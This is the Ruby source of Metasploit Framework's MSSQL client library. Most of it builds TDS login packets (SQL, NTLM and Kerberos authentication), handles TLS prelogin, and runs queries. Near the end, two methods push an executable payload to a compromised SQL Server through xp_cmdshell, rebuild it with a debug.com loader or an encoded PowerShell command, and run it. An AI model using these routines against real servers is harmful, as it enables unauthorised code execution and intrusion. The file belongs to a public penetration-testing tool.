CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/proto/mssql/client.rb
Views: 11704
1
require 'metasploit/framework/tcp/client'
2
require 'metasploit/framework/mssql/tdssslproxy'
3
require 'rex/proto/mssql/client_mixin'
4
require 'rex/text'
5
require 'msf/core/exploit'
6
require 'msf/core/exploit/remote'
7
8
module Rex
9
module Proto
10
module MSSQL
11
class Client
12
include Metasploit::Framework::Tcp::Client
13
include Rex::Proto::MSSQL::ClientMixin
14
include Rex::Text
15
include Msf::Exploit::Remote::MSSQL_COMMANDS
16
include Msf::Exploit::Remote::Udp
17
include Msf::Exploit::Remote::NTLM::Client
18
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
19
include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options
20
21
attr_accessor :tdsencryption
22
attr_accessor :sock
23
attr_accessor :auth
24
attr_accessor :ssl
25
attr_accessor :ssl_version
26
attr_accessor :ssl_verify_mode
27
attr_accessor :ssl_cipher
28
attr_accessor :proxies
29
attr_accessor :connection_timeout
30
attr_accessor :send_lm
31
attr_accessor :send_ntlm
32
attr_accessor :send_spn
33
attr_accessor :use_lmkey
34
attr_accessor :use_ntlm2_session
35
attr_accessor :use_ntlmv2
36
attr_accessor :windows_authentication
37
attr_reader :framework_module
38
attr_reader :framework
39
# @!attribute max_send_size
40
# @return [Integer] The max size of the data to encapsulate in a single packet
41
attr_accessor :max_send_size
42
# @!attribute send_delay
43
# @return [Integer] The delay between sending packets
44
attr_accessor :send_delay
45
# @!attribute initial_connection_info
46
# @return [Hash] Key-value pairs received from the server during the initial MSSQL connection.
47
# See the spec here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec
48
attr_accessor :initial_connection_info
49
# @!attribute current_database
50
# @return [String] The database name this client is currently connected to.
51
attr_accessor :current_database
52
53
def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil)
54
@framework_module = framework_module
55
@framework = framework
56
@connection_timeout = framework_module.datastore['ConnectTimeout'] || 30
57
@max_send_size = framework_module.datastore['TCP::max_send_size'] || 0
58
@send_delay = framework_module.datastore['TCP::send_delay'] || 0
59
60
@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO
61
@hostname = framework_module.datastore['Mssql::Rhostname'] || ''
62
63
@windows_authentication = framework_module.datastore['USE_WINDOWS_AUTHENT'] || false
64
@tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false
65
@hex2binary = framework_module.datastore['HEX2BINARY'] || ''
66
67
@domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || ''
68
@rhost = rhost
69
@rport = rport
70
@proxies = proxies
71
@current_database = ''
72
end
73
74
# MS SQL Server only supports Windows and Linux
75
def map_compile_os_to_platform(server_info)
76
return '' if server_info.blank?
77
78
os_data = server_info.downcase.encode(::Encoding::BINARY)
79
80
if os_data.match?('linux')
81
platform = Msf::Platform::Linux.realname
82
elsif os_data.match?('windows')
83
platform = Msf::Platform::Windows.realname
84
elsif os_data.match?('win')
85
platform = Msf::Platform::Windows.realname
86
else
87
platform = os_data
88
end
89
platform
90
end
91
92
# MS SQL Server currently only supports 64 bit but older installs may be x86
93
def map_compile_arch_to_architecture(server_info)
94
return '' if server_info.blank?
95
96
arch_data = server_info.downcase.encode(::Encoding::BINARY)
97
98
if arch_data.match?('x64')
99
arch = ARCH_X86_64
100
elsif arch_data.match?('x86')
101
arch = ARCH_X86
102
elsif arch_data.match?('64')
103
arch = ARCH_X86_64
104
elsif arch_data.match?('32-bit')
105
arch = ARCH_X86
106
else
107
arch = arch_data
108
end
109
arch
110
end
111
112
# @return [Hash] Detect the platform and architecture of the MSSQL server:
113
# * :arch [String] The server architecture.
114
# * :platform [String] The server platform.
115
def detect_platform_and_arch
116
result = {}
117
118
version_string = query('select @@version')[:rows][0][0]
119
arch = version_string[/\b\d+\.\d+\.\d+\.\d+\s\(([^)]*)\)/, 1] || version_string
120
plat = version_string[/\bon\b\s+(\w+)/, 1] || version_string
121
122
result[:arch] = map_compile_arch_to_architecture(arch)
123
result[:platform] = map_compile_os_to_platform(plat)
124
result
125
end
126
127
#
128
# This method connects to the server over TCP and attempts
129
# to authenticate with the supplied username and password
130
# The global socket is used and left connected after auth
131
#
132
133
def mssql_login(user='sa', pass='', db='', domain_name='')
134
prelogin_data = mssql_prelogin
135
if auth == Msf::Exploit::Remote::AuthOption::KERBEROS
136
idx = 0
137
pkt = ''
138
pkt_hdr = ''
139
pkt_hdr = [
140
TYPE_TDS7_LOGIN, #type
141
STATUS_END_OF_MESSAGE, #status
142
0x0000, #length
143
0x0000, # SPID
144
0x01, # PacketID (unused upon specification
145
# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
146
0x00 #Window
147
]
148
149
pkt << [
150
0x00000000, # Size
151
0x71000001, # TDS Version
152
0x00000000, # Dummy Size
153
0x00000007, # Version
154
rand(1024+1), # PID
155
0x00000000, # ConnectionID
156
0xe0, # Option Flags 1
157
0x83, # Option Flags 2
158
0x00, # SQL Type Flags
159
0x00, # Reserved Flags
160
0x00000000, # Time Zone
161
0x00000000 # Collation
162
].pack('VVVVVVCCCCVV')
163
164
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
165
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
166
sname = Rex::Text.to_unicode( rhost )
167
framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank?
168
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(
169
host: @domain_controller_rhost,
170
hostname: @hostname,
171
mssql_port: rport,
172
proxies: proxies,
173
realm: domain_name,
174
username: user,
175
password: pass,
176
framework: framework,
177
framework_module: framework_module,
178
ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module)
179
)
180
181
kerberos_result = kerberos_authenticator.authenticate
182
ssp_security_blob = kerberos_result[:security_blob]
183
184
idx = pkt.size + 50 # lengths below
185
186
pkt << [idx, cname.length / 2].pack('vv')
187
idx += cname.length
188
189
pkt << [0, 0].pack('vv') # User length offset must be 0
190
pkt << [0, 0].pack('vv') # Password length offset must be 0
191
192
pkt << [idx, aname.length / 2].pack('vv')
193
idx += aname.length
194
195
pkt << [idx, sname.length / 2].pack('vv')
196
idx += sname.length
197
198
pkt << [0, 0].pack('vv') # unused
199
200
pkt << [idx, aname.length / 2].pack('vv')
201
idx += aname.length
202
203
pkt << [idx, 0].pack('vv') # locales
204
205
pkt << [idx, 0].pack('vv') #db
206
207
# ClientID (should be mac address)
208
pkt << Rex::Text.rand_text(6)
209
210
# SSP
211
pkt << [idx, ssp_security_blob.length].pack('vv')
212
idx += ssp_security_blob.length
213
214
pkt << [idx, 0].pack('vv') # AtchDBFile
215
216
pkt << cname
217
pkt << aname
218
pkt << sname
219
pkt << aname
220
pkt << ssp_security_blob
221
222
# Total packet length
223
pkt[0, 4] = [pkt.length].pack('V')
224
225
pkt_hdr[2] = pkt.length + 8
226
227
pkt = pkt_hdr.pack("CCnnCC") + pkt
228
229
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
230
# has a strange behavior that differs from the specifications
231
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
232
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
233
resp = mssql_send_recv(pkt, 15, false)
234
235
info = {:errors => []}
236
info = mssql_parse_reply(resp, info)
237
self.initial_connection_info = info
238
self.initial_connection_info[:prelogin_data] = prelogin_data
239
240
return false if not info
241
return info[:login_ack] ? true : false
242
elsif auth == Msf::Exploit::Remote::AuthOption::NTLM || windows_authentication
243
idx = 0
244
pkt = ''
245
pkt_hdr = ''
246
pkt_hdr = [
247
TYPE_TDS7_LOGIN, #type
248
STATUS_END_OF_MESSAGE, #status
249
0x0000, #length
250
0x0000, # SPID
251
0x01, # PacketID (unused upon specification
252
# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
253
0x00 #Window
254
]
255
256
pkt << [
257
0x00000000, # Size
258
0x71000001, # TDS Version
259
0x00000000, # Dummy Size
260
0x00000007, # Version
261
rand(1024+1), # PID
262
0x00000000, # ConnectionID
263
0xe0, # Option Flags 1
264
0x83, # Option Flags 2
265
0x00, # SQL Type Flags
266
0x00, # Reserved Flags
267
0x00000000, # Time Zone
268
0x00000000 # Collation
269
].pack('VVVVVVCCCCVV')
270
271
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
272
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
273
sname = Rex::Text.to_unicode( rhost )
274
dname = Rex::Text.to_unicode( db )
275
276
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
277
278
ntlm_client = ::Net::NTLM::Client.new(
279
user,
280
pass,
281
workstation: workstation_name,
282
domain: domain_name,
283
)
284
type1 = ntlm_client.init_context
285
# SQL 2012, at least, does not support KEY_EXCHANGE
286
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
287
ntlmsspblob = type1.serialize
288
289
idx = pkt.size + 50 # lengths below
290
291
pkt << [idx, cname.length / 2].pack('vv')
292
idx += cname.length
293
294
pkt << [0, 0].pack('vv') # User length offset must be 0
295
pkt << [0, 0].pack('vv') # Password length offset must be 0
296
297
pkt << [idx, aname.length / 2].pack('vv')
298
idx += aname.length
299
300
pkt << [idx, sname.length / 2].pack('vv')
301
idx += sname.length
302
303
pkt << [0, 0].pack('vv') # unused
304
305
pkt << [idx, aname.length / 2].pack('vv')
306
idx += aname.length
307
308
pkt << [idx, 0].pack('vv') # locales
309
310
pkt << [idx, 0].pack('vv') #db
311
312
# ClientID (should be mac address)
313
pkt << Rex::Text.rand_text(6)
314
315
# NTLMSSP
316
pkt << [idx, ntlmsspblob.length].pack('vv')
317
idx += ntlmsspblob.length
318
319
pkt << [idx, 0].pack('vv') # AtchDBFile
320
321
pkt << cname
322
pkt << aname
323
pkt << sname
324
pkt << aname
325
pkt << ntlmsspblob
326
327
# Total packet length
328
pkt[0, 4] = [pkt.length].pack('V')
329
330
pkt_hdr[2] = pkt.length + 8
331
332
pkt = pkt_hdr.pack("CCnnCC") + pkt
333
334
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
335
# has a strange behavior that differs from the specifications
336
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
337
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
338
if tdsencryption == true
339
proxy = TDSSSLProxy.new(sock)
340
proxy.setup_ssl
341
resp = proxy.send_recv(pkt)
342
else
343
resp = mssql_send_recv(pkt, 15, false)
344
end
345
346
# Strip the TDS header
347
resp = resp[3..-1]
348
type3 = ntlm_client.init_context([resp].pack('m'))
349
type3_blob = type3.serialize
350
351
# Create an SSPIMessage
352
idx = 0
353
pkt = ''
354
pkt_hdr = ''
355
pkt_hdr = [
356
TYPE_SSPI_MESSAGE, #type
357
STATUS_END_OF_MESSAGE, #status
358
0x0000, #length
359
0x0000, # SPID
360
0x01, # PacketID
361
0x00 #Window
362
]
363
364
pkt_hdr[2] = type3_blob.length + 8
365
366
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
367
368
if self.tdsencryption == true
369
resp = mssql_ssl_send_recv(pkt, proxy)
370
proxy.cleanup
371
proxy = nil
372
else
373
resp = mssql_send_recv(pkt)
374
end
375
376
#SQL Server Authentication
377
else
378
idx = 0
379
pkt = ''
380
pkt << [
381
0x00000000, # Dummy size
382
383
0x71000001, # TDS Version
384
0x00000000, # Size
385
0x00000007, # Version
386
rand(1024+1), # PID
387
0x00000000, # ConnectionID
388
0xe0, # Option Flags 1
389
0x03, # Option Flags 2
390
0x00, # SQL Type Flags
391
0x00, # Reserved Flags
392
0x00000000, # Time Zone
393
0x00000000 # Collation
394
].pack('VVVVVVCCCCVV')
395
396
397
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
398
uname = Rex::Text.to_unicode( user )
399
pname = mssql_tds_encrypt( pass )
400
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
401
sname = Rex::Text.to_unicode( rhost )
402
dname = Rex::Text.to_unicode( db )
403
404
idx = pkt.size + 50 # lengths below
405
406
pkt << [idx, cname.length / 2].pack('vv')
407
idx += cname.length
408
409
pkt << [idx, uname.length / 2].pack('vv')
410
idx += uname.length
411
412
pkt << [idx, pname.length / 2].pack('vv')
413
idx += pname.length
414
415
pkt << [idx, aname.length / 2].pack('vv')
416
idx += aname.length
417
418
pkt << [idx, sname.length / 2].pack('vv')
419
idx += sname.length
420
421
pkt << [0, 0].pack('vv')
422
423
pkt << [idx, aname.length / 2].pack('vv')
424
idx += aname.length
425
426
pkt << [idx, 0].pack('vv')
427
428
pkt << [idx, dname.length / 2].pack('vv')
429
idx += dname.length
430
431
# The total length has to be embedded twice more here
432
pkt << [
433
0,
434
0,
435
0x12345678,
436
0x12345678
437
].pack('vVVV')
438
439
pkt << cname
440
pkt << uname
441
pkt << pname
442
pkt << aname
443
pkt << sname
444
pkt << aname
445
pkt << dname
446
447
# Total packet length
448
pkt[0, 4] = [pkt.length].pack('V')
449
450
# Embedded packet lengths
451
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
452
453
# Packet header and total length including header
454
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
455
456
if self.tdsencryption == true
457
proxy = TDSSSLProxy.new(sock)
458
proxy.setup_ssl
459
resp = mssql_ssl_send_recv(pkt, proxy)
460
proxy.cleanup
461
proxy = nil
462
else
463
resp = mssql_send_recv(pkt)
464
end
465
466
end
467
468
info = {:errors => []}
469
info = mssql_parse_reply(resp, info)
470
self.initial_connection_info = info
471
self.initial_connection_info[:prelogin_data] = prelogin_data
472
473
return false if not info
474
info[:login_ack] ? true : false
475
end
476
477
#
478
#this method send a prelogin packet and check if encryption is off
479
#
480
def mssql_prelogin(enc_error=false)
481
disconnect if self.sock
482
connect
483
484
pkt = mssql_prelogin_packet
485
486
resp = mssql_send_recv(pkt)
487
488
idx = 0
489
data = parse_prelogin_response(resp)
490
491
unless data[:encryption]
492
framework_module.print_error("Unable to parse encryption req " \
493
"during pre-login, this may not be a MSSQL server")
494
data[:encryption] = ENCRYPT_NOT_SUP
495
end
496
497
##########################################################
498
# Our initial prelogin pkt above said we didnt support
499
# encryption (it's quicker and the default).
500
#
501
# Per the matrix on the following link, SQL Server will
502
# terminate the connection if it does require TLS,
503
# otherwise it will accept an unencrypted session. As
504
# part of this initial response packet, it also returns
505
# ENCRYPT_REQ.
506
#
507
# https://msdn.microsoft.com\
508
# /en-us/library/ee320519(v=sql.105).aspx
509
#
510
##########################################################
511
512
if data[:encryption] == ENCRYPT_REQ
513
# restart prelogin process except that we tell SQL Server
514
# than we are now able to encrypt
515
disconnect if self.sock
516
connect
517
518
# offset 35 is the flag - turn it on
519
pkt[35] = [ENCRYPT_ON].pack('C')
520
self.tdsencryption = true
521
framework_module.print_status("TLS encryption has " \
522
"been enabled based on server response.")
523
524
resp = mssql_send_recv(pkt)
525
data = parse_prelogin_response(resp)
526
527
unless data[:encryption]
528
framework_module.print_error("Unable to parse encryption req " \
529
"during pre-login, this may not be a MSSQL server")
530
data[:encryption] = ENCRYPT_NOT_SUP
531
end
532
end
533
data
534
end
535
536
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
537
tdsproxy.send_recv(req)
538
end
539
540
def query(sqla, doprint=false, opts={})
541
info = { :sql => sqla }
542
opts[:timeout] ||= 15
543
pkts = []
544
idx = 0
545
546
bsize = 4096 - 8
547
chan = 0
548
549
@cnt ||= 0
550
@cnt += 1
551
552
sql = Rex::Text.to_unicode(sqla)
553
while(idx < sql.length)
554
buf = sql[idx, bsize]
555
flg = buf.length < bsize ? "\x01" : "\x00"
556
pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
557
idx += bsize
558
559
end
560
561
resp = mssql_send_recv(pkts.join, opts[:timeout])
562
mssql_parse_reply(resp, info)
563
mssql_print_reply(info) if doprint
564
info
565
end
566
567
def mssql_upload_exec(exe, debug=false)
568
hex = exe.unpack("H*")[0]
569
570
var_bypass = Rex::Text.rand_text_alpha(8)
571
var_payload = Rex::Text.rand_text_alpha(8)
572
573
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
574
print_status("Writing the debug.com loader to the disk...")
575
h2b = File.read(@hex2binary, File.size(@hex2binary))
576
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
577
h2b.split(/\n/).each do |line|
578
mssql_xpcmdshell("#{line}", false)
579
end
580
581
print_status("Converting the debug script to an executable...")
582
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
583
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
584
585
print_status("Uploading the payload, please be patient...")
586
idx = 0
587
cnt = 500
588
while(idx < hex.length - 1)
589
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
590
idx += cnt
591
end
592
593
print_status("Converting the encoded payload...")
594
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
595
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
596
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
597
598
print_status("Executing the payload...")
599
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
600
end
601
602
def powershell_upload_exec(exe, debug=false)
603
# hex converter
604
hex = exe.unpack("H*")[0]
605
# create random alpha 8 character names
606
#var_bypass = rand_text_alpha(8)
607
var_payload = rand_text_alpha(8)
608
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
609
# our payload converter, grabs a hex file and converts it to binary for us through powershell
610
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
611
h2b_unicode=Rex::Text.to_unicode(h2b)
612
# base64 encode it, this allows us to perform execution through powershell without registry changes
613
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
614
print_status("Uploading the payload #{var_payload}, please be patient...")
615
idx = 0
616
cnt = 500
617
while(idx < hex.length - 1)
618
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
619
idx += cnt
620
end
621
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
622
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
623
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
624
print_status("Executing the payload...")
625
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
626
print_status("Be sure to cleanup #{var_payload}.exe...")
627
end
628
629
# @param [ENVCHANGE] envchange The ENVCHANGE type to get the information for.
630
# @return [Hash] Returns a hash of values if the provided type exists.
631
# @return [Hash] Returns the whole connection info if envchange is nil.
632
# @return [Hash] Returns an empty hash if the provided type is not present.
633
def initial_info_for_envchange(envchange: nil)
634
return self.initial_connection_info if envchange.nil?
635
return nil unless (self.initial_connection_info && self.initial_connection_info.is_a?(::Hash))
636
637
self.initial_connection_info[:envs]&.select { |hash| hash[:type] == envchange }&.first || {}
638
end
639
640
def peerhost
641
rhost
642
end
643
644
def peerport
645
rport
646
end
647
648
def peerinfo
649
"#{peerhost}:#{peerport}"
650
end
651
652
protected
653
654
def rhost
655
@rhost
656
end
657
658
def rport
659
@rport
660
end
661
662
def chost
663
return nil
664
end
665
666
def cport
667
return nil
668
end
669
end
670
671
end
672
end
673
end
674
675